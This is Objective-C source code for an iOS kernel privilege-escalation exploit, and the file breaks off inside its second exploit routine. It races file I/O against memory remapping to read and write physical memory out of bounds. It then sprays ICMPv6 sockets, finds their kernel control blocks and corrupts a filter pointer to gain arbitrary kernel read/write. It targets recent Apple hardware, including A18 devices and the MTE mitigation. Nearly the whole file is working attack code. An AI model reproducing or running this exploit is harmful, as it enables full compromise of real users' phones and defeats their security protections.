#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <mach-o/dyld.h>
#import <mach/mach.h>
#import <sys/fileport.h>
#import <sys/socket.h>
#import <sys/utsname.h>
#import <unistd.h>
#define IPPROTO_ICMPV6 58
#define ICMP6_FILTER 18
#import <IOSurface/IOSurfaceRef.h>
#import <pthread.h>
#import <sys/uio.h>
#import <sys/syscall.h>
#import <execinfo.h>

#import "offsets.h"
#import "krw.h"
#import "kexploit_opa334.h"

extern bool gIsPACSupported;

extern bool gIsA18Above;

void IOSurfacePrefetchPages(IOSurfaceRef surface);

#define FAILURE(c)                                                             \
    {                                                                          \
        fflush(stdout);                                                        \
        sleep(2);                                                              \
        exit(c);                                                               \
    }
#define PRINT_VAR(var)                                                         \
    {                                                                          \
        printf(#var ": %#llx\n", var);                                         \
        fflush(stdout);                                                        \
        sleep(2);                                                              \
    }

#define OOB_OFFSET 0x100
#define OOB_SIZE 0xf00
#define OOB_PAGES_NUM 2

// xnu-11417.140.69/bsd/sys/proc_info.h
#define PROC_PIDFILEPORTSOCKETINFO      3       /* out: socket_fdinfo */

// xnu-11417.140.69/bsd/sys/proc_info_private.h
#define PROC_INFO_CALL_PIDFILEPORTINFO       0x6

#ifdef __arm64e__
static uint64_t __attribute((naked)) __xpaci(uint64_t a) {
    asm(".long        0xDAC143E0"); // XPACI X0
    asm("ret");
}
#else
#define __xpaci(x) x
#endif

void memset64(void *ptr, uint64_t val, size_t size) {
    uint8_t *ptr8 = ptr;
    for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) {
        uint64_t *ptr64 = (uint64_t *)&ptr8[idx];
        *ptr64 = val;
    }
}

int readFd;
int writeFd;
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address,
                          mach_vm_size_t size, mach_vm_offset_t mask, int flags,
                          mem_entry_name_port_t object,
                          memory_object_offset_t offset, boolean_t copy,
                          vm_prot_t cur_protection, vm_prot_t max_protection,
                          vm_inherit_t inheritance);
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address,
                               mach_vm_size_t size, int flags);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address,
                                 mach_vm_size_t size);

int highestSuccessIdx = 0;
int successReadCount = 0;
struct iovec iov;
uint64_t randomMarker;
uint64_t wiredPageMarker;
mach_port_t pcObject = MACH_PORT_NULL;
mach_vm_address_t pcAddress = 0;
mach_vm_size_t pcSize;

NSMutableArray<NSNumber *> *socketPorts;
NSMutableArray<NSNumber *> *socketPcbIds;
#define GETSOCKOPT_READ_LEN 32
void *getsockoptReadData = NULL;

volatile uint8_t goSync = 0;
volatile uint8_t raceSync = 0;
volatile uint8_t freeThreadStart = 0;
volatile mach_vm_address_t freeTarget = 0;
volatile mach_vm_size_t freeTargetSize = 0;
volatile mem_entry_name_port_t targetObject = 0;
volatile memory_object_offset_t targetObjectOffset = 0;

NSMutableDictionary<NSNumber *, id> *gMlockDict;

int controlSocket = 0;
int rwSocket = 0;
uint64_t controlSocketPcb = 0;
uint64_t rwSocketPcb = 0;
uint8_t controlData[EARLY_KRW_LENGTH];

void setTargetKaddr(uint64_t where) {
    memset(controlData, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)controlData = where;
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                         controlData, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] setsockopt failed!!!\n");
        FAILURE(0);
    }
}

#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)
void *default_file_content;
char executablePath[PATH_MAX];
const char *executableName;

pthread_t freeThread;

void init_globals(void) {
    socketPorts = [NSMutableArray new];
    socketPcbIds = [NSMutableArray new];
    getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN);
    gMlockDict = [NSMutableDictionary new];
    default_file_content = calloc(1, TARGET_FILE_SIZE);
    randomMarker = (uint64_t)arc4random() << 32 | arc4random();
    wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();
}

void create_target_file(const char *path) {
    FILE *f = fopen(path, "w");
    fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);
    fclose(f);
}

void init_target_file() {
    char *read_file_path = calloc(1, 1024);
    char *write_file_path = calloc(1, 1024);
    confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
    confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);

    char read_file_name[100];
    char write_file_name[100];
    snprintf(read_file_name, 100, "/%u", arc4random());
    snprintf(write_file_name, 100, "/%u", arc4random());

    strcat(read_file_path, read_file_name);
    strcat(write_file_path, write_file_name);

    create_target_file(read_file_path);
    create_target_file(write_file_path);

    readFd = open(read_file_path, O_RDWR);
    writeFd = open(write_file_path, O_RDWR);

    printf("[+] readFd: %d\n", readFd);
    printf("[+] writeFd: %d\n", writeFd);

    remove(read_file_path);
    remove(write_file_path);
    fcntl(readFd, F_NOCACHE, 1);
    fcntl(writeFd, F_NOCACHE, 1);
}

void *free_thread(void *arg) {
    while (freeThreadStart == 0)
        ;

    while (goSync == 0)
        ;

    while (goSync != 0) {
        while (raceSync == 0)
            ;

        kern_return_t kr =
            mach_vm_map(mach_task_self(), &freeTarget, freeTargetSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, targetObject,
                        targetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT,
                        VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            printf("[-] mach_vm_map failed !!!\n");
            printf("[+] freeTarget: %#llx\n", freeTarget);
            printf("[+] targetObject: %#x\n", targetObject);
            FAILURE(0);
        }

        raceSync = 0;
    }

    return NULL;
}

fileport_t spray_socket(NSMutableArray *socketPorts,
                        NSMutableArray *socketPcbIds) {
    pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0);
    
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    if (fd == -1) {
        printf("[-] socket create failed!!!");
        return fd;
    }
    pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0);

    fileport_t outputSocketPort = 0;
    fileport_makeport(fd, &outputSocketPort);
    close(fd);

    void *socketInfo = calloc(1, 0x400);
    int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400);
    uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110);

    [socketPorts addObject:@(outputSocketPort)];
    [socketPcbIds addObject:@(inp_gencnt)];
    return outputSocketPort;
}

void sockets_release(NSMutableArray *socketPorts,
                     NSMutableArray *socketPcbIds) {
    while (socketPorts.lastObject) {
        mach_port_deallocate(
            mach_task_self(),
            ((NSNumber *)socketPorts.lastObject).unsignedIntValue);
        [socketPorts removeLastObject];
        [socketPcbIds removeLastObject];
    }
}

IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{
        @"IOSurfaceAddress" : @(address),
        @"IOSurfaceAllocSize" : @(size)
    });

    IOSurfacePrefetchPages(surface);

    return surface;
}

void surface_mlock(uint64_t address, uint64_t size) {
    gMlockDict[@(address)] =
        (__bridge id)create_surface_with_address(address, size);
}

void surface_munlock(uint64_t address, uint64_t size) {
    IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)];
    if (ref) {
        CFRelease(ref);
        [gMlockDict removeObjectForKey:@(address)];
    }
}

void pe_init(void) {
    init_target_file();

    if (!executableName) {
        uint32_t sz = PATH_MAX;
        _NSGetExecutablePath(executablePath, &sz);
        executableName = strrchr(executablePath, '/');
        if (executableName) {
            executableName++;
        } else {
            executableName = executablePath;
        }
    }
    
    pthread_attr_t pattr;
    pthread_attr_init(&pattr);
    pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
    pthread_create(&freeThread, &pattr, free_thread, NULL);
}

void create_physically_contiguous_mapping(mach_port_t *port,
                                          mach_vm_address_t *address,
                                          mach_vm_size_t size) {
    NSDictionary *params = @{
        (__bridge id)kIOSurfaceAllocSize : @(size),
        @"IOSurfaceMemoryRegion" : @"PurpleGfxMem",
    };

    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);

    if (!surface) {
        printf("[-] Failed to create surface!!!\n");
        FAILURE(0);
    }

    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);
    printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress);

    mach_port_t memoryObject;
    kern_return_t kr = mach_make_memory_entry_64(
        mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress,
        VM_PROT_DEFAULT, &memoryObject, 0);
    if (!surface) {
        printf("[-] mach_make_memory_entry_64 failed!!!\n");
        FAILURE(0);
    }

    mach_vm_address_t newMappingAddress;
    kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0,
                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,
                     0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

    if (kr != KERN_SUCCESS) {
        printf("[-] mach_vm_map failed!!!\n");
        FAILURE(0);
    }

    CFRelease(surface);
    *port = memoryObject;
    *address = newMappingAddress;
}

void initialize_physical_read_write(uint64_t contiguous_mapping_size) {
    pcSize = contiguous_mapping_size;
    create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize);
    printf("[+] pcObject: %u\n", pcObject);
    printf("[+] pcAddress: %#llx\n", pcAddress);
    memset64((void *)pcAddress, randomMarker, pcSize);
    freeTarget = pcAddress, freeTargetSize = pcSize;
    freeThreadStart = 1;
    goSync = 1;
}

kern_return_t physical_oob_read_mo(mach_port_t memoryObject,
                                   mach_vm_offset_t memoryObjectOffset,
                                   mach_vm_size_t size, mach_vm_offset_t offset,
                                   void *buffer) {
    targetObject = memoryObject;
    targetObjectOffset = memoryObjectOffset;
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;
    *(uint64_t *)buffer = randomMarker;
    *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker;

    bool readRaceSucceeded = false;
    int w = 0;
    for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) {
        raceSync = 1;
        w = pwritev(readFd, &iov, 1, 0x3f00);
        while (raceSync == 1)
            ;

        kern_return_t kr =
            mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (kr != KERN_SUCCESS) {
            printf("[+] mach_vm_map failed!!!\n");
            FAILURE(0);
        }
        if (w == -1) {
            int r = pread(readFd, buffer, size, 0x3f00 + offset);
            uint64_t marker = *(uint64_t *)buffer;
            if (marker != randomMarker) {
                readRaceSucceeded = true;
                successReadCount++;
                if (tryIdx > highestSuccessIdx) {
                    highestSuccessIdx = tryIdx;
                }
                break;
            } else {
                usleep(1);
            }
        }
        if (tryIdx == 500) {
            break;
        }
    }
    targetObject = 0;
    if (!readRaceSucceeded)
        return 1;
    return KERN_SUCCESS;
}

kern_return_t physical_oob_read_mo_with_retry(
    mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset,
    mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) {
    kern_return_t kr;
    do {
        kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size,
                                  offset, buffer);
    } while (kr != KERN_SUCCESS);
    return kr;
}

void physical_oob_write_mo(mach_port_t memoryObject,
                           mach_vm_offset_t memoryObjectOffset,
                           mach_vm_size_t size, mach_vm_offset_t offset,
                           void *buffer) {
    targetObject = memoryObject;
    targetObjectOffset = memoryObjectOffset;
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;

    pwrite(writeFd, buffer, size, 0x3f00 + offset);
    for (int tryIdx = 0; tryIdx < 20; tryIdx++) {
        raceSync = 1;
        preadv(writeFd, &iov, 1, 0x3f00);
        while (raceSync == 1)
            ;
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            printf("[-] mach_vm_map failed!!!\n");
            FAILURE(0);
        }
    }
    targetObject = 0;
}

void set_target_kaddr(uint64_t where) {
    memset(controlData, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)controlData = where;
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                         controlData, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] setsockopt failed!!!");
        FAILURE(0);
    }
}

void early_kread(uint64_t where, void *read_buf, size_t size) {
    if(!is_kaddr_valid(where)) {
        printf("[%s:%d] kaddr isn't valid, spinning here. kaddr: 0x%llx\n", __FUNCTION__, __LINE__, where);
        
        void *bt[64]; int n = backtrace(bt, 64);
        char **s = backtrace_symbols(bt, n);
        for (int i = 0; i < n; i++) printf("  #%d %s\n", i, s[i]);
        free(s);
        
        *(int *)1 = 0;  // make crash intentionally
    }
    
    if (size > EARLY_KRW_LENGTH) {
        printf("[!] error: (size > EARLY_KRW_LENGTH)\n");
        FAILURE(0);
    }
    set_target_kaddr(where);
    socklen_t read_data_length = (socklen_t)size;
    int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
    if (res != 0) {
        printf("[-] getsockopt failed!!!\n");

        void *bt[64]; int n = backtrace(bt, 64);
        char **s = backtrace_symbols(bt, n);
        for (int i = 0; i < n; i++) printf("  #%d %s\n", i, s[i]);
        free(s);

        *(int *)1 = 0;  // make crash intentionally
        FAILURE(0);
    }
}

uint64_t early_kread64(uint64_t where) {
    uint64_t value = 0;
    early_kread(where, &value, sizeof(value));
    return value;
}

void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {
    set_target_kaddr(where);
    int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] setsockopt failed!!!");
        FAILURE(0);
    }
}

void early_kwrite64(uint64_t where, uint64_t what) {
    uint8_t writeBuf[EARLY_KRW_LENGTH];
    early_kread(where, writeBuf, EARLY_KRW_LENGTH);
    *(uint64_t *)writeBuf = what;
    early_kwrite32bytes(where, writeBuf);
}

int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {
    if (doRead) {
        physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
    }

    int searchStartIdx = 0;
    bool targetFound = false;
    uint64_t pcbStartOffset = 0;
    void *found = NULL;
    do {
        found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));
        if (found) {
            pcbStartOffset =
                ((uint64_t)found - (uint64_t)readBuffer) & 0xFFFFFFFFFFFFFC00;
            if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) == 0x0000ffffffffffffULL) {
                targetFound = true;
                break;
            }
        }
        searchStartIdx += 0x400;
    } while (found != NULL && searchStartIdx < OOB_SIZE);

    if (targetFound) {
        printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset);
        uint64_t targetInpGencnt =
            *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78);
        printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt);
        if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) {
            printf("[-] Found last PCB\n");
            return -1;
        }
        bool isOurPcd = false;
        int controlSocketIdx = 0;
        for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) {
            if (socketPcbIds[sockIdx].unsignedLongLongValue ==
                targetInpGencnt) {
                isOurPcd = true;
                controlSocketIdx = sockIdx;
                break;
            }
        }
        if (!isOurPcd) {
            printf("[-] Found freed PCB Page!\n");
            return -1;
        }
        if ([targetInpGencntList containsObject:@(targetInpGencnt)]) {
            printf("[-] Found old PCB Page!!!!\n");
            return -1;
        } else {
            [targetInpGencntList addObject:@(targetInpGencnt)];
        }
        uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20;
        uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
        printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer);
        printf("[+] icmp6Filter: %#llx\n", icmp6Filter);
        rwSocketPcb = inpListNextPointer;
        memcpy(writeBuffer, readBuffer, OOB_SIZE);
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt) = inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt;
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) = 0;

        // breakpoint: if you can get here without panic (not 100% successful),
        // at least it proves that OOB physical readings are working.
        // access to physmap does not appear to be protected by MTE (xnu source).
        printf("[*] MTE checkpoint: OOB physical read/write reached without panic\n");
        NSLog(@"[*] MTE checkpoint: OOB physical read/write reached without panic");

        printf("[+] Corrupting icmp6filter pointer...\n");
        while (true) {
            physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer);
            physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
            uint64_t newIcmp6Filter =
                *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
            if (newIcmp6Filter ==
                inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt) {
                printf("[+] target corrupted: %#llx\n",
                       *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt));
                break;
            }
        }
        int sock = fileport_makefd(
            (fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue);
        socklen_t len = GETSOCKOPT_READ_LEN;
        int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER,
                             getsockoptReadData, &len);
        if (res != 0) {
            printf("[-] getsockopt failed!!!\n");

            void *bt[64]; int n = backtrace(bt, 64);
            char **s = backtrace_symbols(bt, n);
            for (int i = 0; i < n; i++) printf("  #%d %s\n", i, s[i]);
            free(s);

            *(int *)1 = 0;  // make crash intentionally
            FAILURE(0);
        }
        uint64_t marker = *(uint64_t *)getsockoptReadData;
        if (marker != -1) {
            printf("[+] Found control_socket at idx: %u\n", controlSocketIdx);
            controlSocket = sock;
            rwSocket =
                fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1]
                                    .unsignedLongLongValue);
            return KERN_SUCCESS;
        } else {
            printf("[-] Failed to corrupt control_socket at idx: %u\n",
                   controlSocketIdx);
        }
    }
    return -1;
}

bool isA18Device = false;

void pe_v1(void) {
    uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10);
    uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE);
    uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;
    uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize;

    printf("[i] totalSearchMappingPagesNum: %#llx\n",
           totalSearchMappingPagesNum);
    printf("[i] searchMappingSize: %#llx\n", searchMappingSize);
    printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize);
    printf("[i] searchMappingNum: %#llx\n", searchMappingNum);

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);
    mach_vm_address_t wiredMapping = 0;
    mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL;
    kern_return_t kr = KERN_SUCCESS;
    if (isA18Device) {
        kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
        printf("[+] wiredMapping: %#llx\n", wiredMapping);
    }
    NSMutableArray *targetInpGencntList = [NSMutableArray new];
    while (true) {
        if (isA18Device) {
            surface_mlock(wiredMapping, wiredMappingSize);
            for (int s = 0; s < (wiredMappingSize / 0x4000); s++) {
                *(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0;
            }
        }
        NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress = 0;
            kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_vm_allocate failed!!!\n");
                FAILURE(0);
            }
            for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
                *(uint64_t *)(searchMappingAddress + k) = randomMarker;
            }
            [searchMappings addObject:@(searchMappingAddress)];
        }
        socketPorts = [NSMutableArray new];
        socketPcbIds = [NSMutableArray new];
        unsigned socketPortsCount = 0;
#define OPEN_MAX 10240
        int maxfiles = OPEN_MAX * 3;
        int leeway = 4096 * 2;
        for (unsigned socketCount = 0; socketCount < (maxfiles - leeway);
             socketCount++) {
            mach_port_t port = spray_socket(socketPorts, socketPcbIds);
            if (port == -1) {
                printf("[-] Failed to spray sockets: %u\n", socketCount);
                break;
            } else {
                socketPortsCount++;
            }
        }
        uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;
        uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;
        printf("[i] socketPortsCount: %u\n", socketPortsCount);
        printf("[i] startPcbId: %llu\n", startPcbId);
        printf("[i] endPcbId: %llu\n", endPcbId);
        bool success = false;
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress =
                searchMappings[s].unsignedLongLongValue;
            printf("[i] looking in search mapping: %llu\n", s);
            mach_port_t memoryObject = 0;
            mach_vm_size_t memoryObjectSize = searchMappingSize;
            kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_make_memory_entry_64 failed!!!");
                FAILURE(0);
            }
            surface_mlock(searchMappingAddress, searchMappingSize);
            mach_vm_offset_t seekingOffset = 0;
            while (seekingOffset < searchMappingSize) {
                kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,
                                          OOB_OFFSET, readBuffer);
                if (kr == KERN_SUCCESS) {
                    if (find_and_corrupt_socket(memoryObject, seekingOffset,
                                                readBuffer, writeBuffer,
                                                targetInpGencntList,
                                                false) == KERN_SUCCESS) {
                        success = true;
                        break;
                    }
                }
                seekingOffset += PAGE_SIZE;
            }
            kr = mach_port_deallocate(mach_task_self(), memoryObject);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_port_deallocate failed!!!\n");
                FAILURE(0);
            }
            if (success == true) {
                break;
            }
        }
        sockets_release(socketPorts, socketPcbIds);
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress =
                searchMappings.lastObject.unsignedLongLongValue;
            [searchMappings removeLastObject];
            kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress,
                                    searchMappingSize);
        }
        if (isA18Device) {
            surface_munlock(wiredMapping, wiredMappingSize);
        }
        if (success == true) {
            break;
        }
    }
}

void pe_v2(void) {
    // A18-specific exploit path: "wired page marker" technique.
    // Allocates 2GB of individually wired pages tagged with markers,
    // then scans physical memory via OOB read. When a tagged page is found,
    // deallocates it and sprays sockets into the freed physical page.
    // This targeted approach replaces pe_v1's brute-force mass spray.
    // Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278).

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);

    mach_vm_size_t wiredEntrySize = PAGE_SIZE;
    mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB
    uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize;

    printf("[i] pe_v2: Allocating %llu wired pages (2GB)...\n", nWiredEntries);

    // Array to track wired page addresses
    NSMutableArray<NSNumber *> *wiredAddrs = [[NSMutableArray alloc] initWithCapacity:(NSUInteger)nWiredEntries];

    kern_return_t kr = KERN_SUCCESS;
    mach_vm_address_t wiredAddr = 0;

    for (uint64_t i = 0; i < nWiredEntries; i++) {
        if (i == 0) {
            kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE);
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v2: initial mach_vm_allocate failed\n");
                FAILURE(0);
            }
        } else {
            // Allocate contiguously after the last page
            mach_vm_address_t nextAddr = wiredAddrs.lastObject.unsignedLongLongValue + wiredEntrySize;
            do {
                wiredAddr = nextAddr;
                kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED);
                nextAddr += wiredEntrySize;
            } while (kr != KERN_SUCCESS);
        }
        [wiredAddrs addObject:@(wiredAddr)];
        surface_mlock(wiredAddr, wiredEntrySize);
        // Tag each page: marker at +0x0, own address at +0x8
        *(uint64_t *)wiredAddr = wiredPageMarker;
        *(uint64_t *)(wiredAddr + 0x8) = wiredAddr;
    }
    printf("[+] pe_v2: Allocated %llu wired pages\n", nWiredEntries);

    NSMutableArray *targetInpGencntList = [NSMutableArray new];

    while (true) {
        mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE;
        mach_vm_address_t searchMappingAddress = 0;
        kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_vm_allocate search mapping failed\n");
            FAILURE(0);
        }
        for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) {
            *(uint64_t *)(searchMappingAddress + k) = randomMarker;
        }
        surface_mlock(searchMappingAddress, searchMappingSize);

        mach_port_t memoryObject = 0;
        mach_vm_size_t memoryObjectSize = searchMappingSize;
        kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_make_memory_entry_64 failed\n");
            FAILURE(0);
        }

        socketPorts = [NSMutableArray new];
        socketPcbIds = [NSMutableArray new];
        unsigned socketPortsCount = 0;
        uint64_t maxSocketsCount = 0x5800;
        uint64_t splitCount = 8;

        bool success = false;
        mach_vm_offset_t seekingOffset = 0;

        while (seekingOffset < searchMappingSize) {
            kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
            if (kr != KERN_SUCCESS) {
                seekingOffset += PAGE_SIZE;
                continue;
            }

            uint64_t firstQword = *(uint64_t *)readBuffer;

            if (firstQword == wiredPageMarker) {
                // Found a wired page! Read back the stored virtual address.
                uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8);
                printf("[i] pe_v2: offset %#llx: Found wired page %#llx\n", seekingOffset, wiredPage);

                // Remove from tracking array
                NSNumber *wiredPageNum = @(wiredPage);
                NSUInteger idx = [wiredAddrs indexOfObject:wiredPageNum];
                if (idx == NSNotFound) {
                    printf("[-] pe_v2: Found old/duplicate wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                [wiredAddrs removeObjectAtIndex:idx];

                // Clear the marker and deallocate — this frees the physical page
                *(uint64_t *)wiredPage = 0;
                *(uint64_t *)(wiredPage + 0x8) = 0;
                kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize);
                if (kr != KERN_SUCCESS) {
                    printf("[-] pe_v2: Failed to deallocate wired page\n");
                }

                // Incremental socket spray into the freed physical page
                for (uint64_t sc = 0; sc < maxSocketsCount / splitCount; sc++) {
                    mach_port_t port = spray_socket(socketPorts, socketPcbIds);
                    if (port == (mach_port_t)-1) {
                        printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount);
                        break;
                    }
                    socketPortsCount++;
                }

                // Try to find and corrupt a socket on this page
                if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, true) == KERN_SUCCESS) {
                    printf("[+] pe_v2: offset %#llx: Reallocated PCB page!\n", seekingOffset);
                    success = true;
                    break;
                } else {
                    // If we've exhausted sockets, release all and wait for zone trimming
                    if (socketPortsCount >= maxSocketsCount) {
                        sockets_release(socketPorts, socketPcbIds);
                        socketPorts = [NSMutableArray new];
                        socketPcbIds = [NSMutableArray new];
                        socketPortsCount = 0;
                        printf("[+] pe_v2: Socket limit reached, waiting for zone trimming...\n");
                        sleep(20);
                    }
                    // Restart scanning from beginning
                    seekingOffset = 0;
                }
            } else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
                // Found a PCB page without wired marker
                printf("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset);
                success = true;
                break;
            } else {
